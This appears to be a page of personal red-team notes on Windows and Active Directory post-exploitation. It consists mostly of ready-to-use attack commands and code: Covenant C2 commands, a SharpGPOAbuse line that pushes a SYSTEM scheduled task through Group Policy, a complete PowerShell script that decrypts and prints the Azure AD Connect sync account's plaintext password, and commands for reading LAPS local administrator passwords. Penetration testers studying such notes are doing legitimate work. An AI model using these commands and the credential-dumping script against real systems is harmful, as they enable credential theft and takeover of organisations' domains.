xct's notes
Search…
Misc

Session IDs

On Windows processes run with session id 0 or 1. Session ID 1 means the process was started by a legitimate user, while 0 is used for various processes spawned by the system. Sometimes having just a 0 session is a problem, in these cases we can just inject into a process that has 1.

Covenant Misc

Change Delay/Sleep on existing grunt:
1
Set Delay <seconds>
2
sleep <seconds>
Copied!
Execute .Net directly with SharpShell:
1
SharpShell return Shell.PowerShellExecute("whoami");
Copied!

GPO Abuse

Use SharpGPOAbuse to modify/add GPOs. Covenant example:
1
Assembly /assemblyname:"SharpGPOAbuse" /parameters:"--AddComputerTask --TaskName \"<taskname>\" --Author NT AUTHORITY\SYSTEM --Command \"cmd.exe\" --Arguments \"/c <cmd>\" --GPOName \"<gponame>\""
Copied!

Azure AD Connect

The credentials for the hash synchronisation account are stored locally in a database. They can be recovered with ADConnectDump or directly via this script by xpn. You might need to modify the first line if its stored on a SQL Server instead of locally.
1
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
2
$client.Open()
3
$cmd = $client.CreateCommand()
4
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
5
$reader = $cmd.ExecuteReader()
6
$reader.Read() | Out-Null
7
$key_id = $reader.GetInt32(0)
8
$instance_id = $reader.GetGuid(1)
9
$entropy = $reader.GetGuid(2)
10
$reader.Close()
11
12
$cmd = $client.CreateCommand()
13
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
14
$reader = $cmd.ExecuteReader()
15
$reader.Read() | Out-Null
16
$config = $reader.GetString(0)
17
$crypted = $reader.GetString(1)
18
$reader.Close()
19
20
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
21
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
22
$km.LoadKeySet($entropy, $instance_id, $key_id)
23
$key = $null
24
$km.GetActiveCredentialKey([ref]$key)
25
$key2 = $null
26
$km.GetKey(1, [ref]$key2)
27
$decrypted = $null
28
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
29
30
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
31
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
32
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
33
34
Write-Host ("Domain: " + $domain.Domain)
35
Write-Host ("Username: " + $username.Username)
36
Write-Host ("Password: " + $password.Password)
Copied!

LAPS

If you are on a box with LAPS enabled and have the correct permissions you can get the password:
1
Get-AdmPwdPassword -ComputerName <>
2
Find-AdmPwdExtendedRights -Identity 'DC=,DC=' | Format-List
Copied!
PowerView can do it too:
1
PowerShell Get-AdmPwdPassword -ComputerName <> | fl
Copied!
Another alternative is using LAPSToolkit:
1
Get-LAPSComputers
2
Find-LAPSDelegatedGroups
Copied!

Exfiltrating Data

Monitor Remote Processes with Procmon

Last modified 9mo ago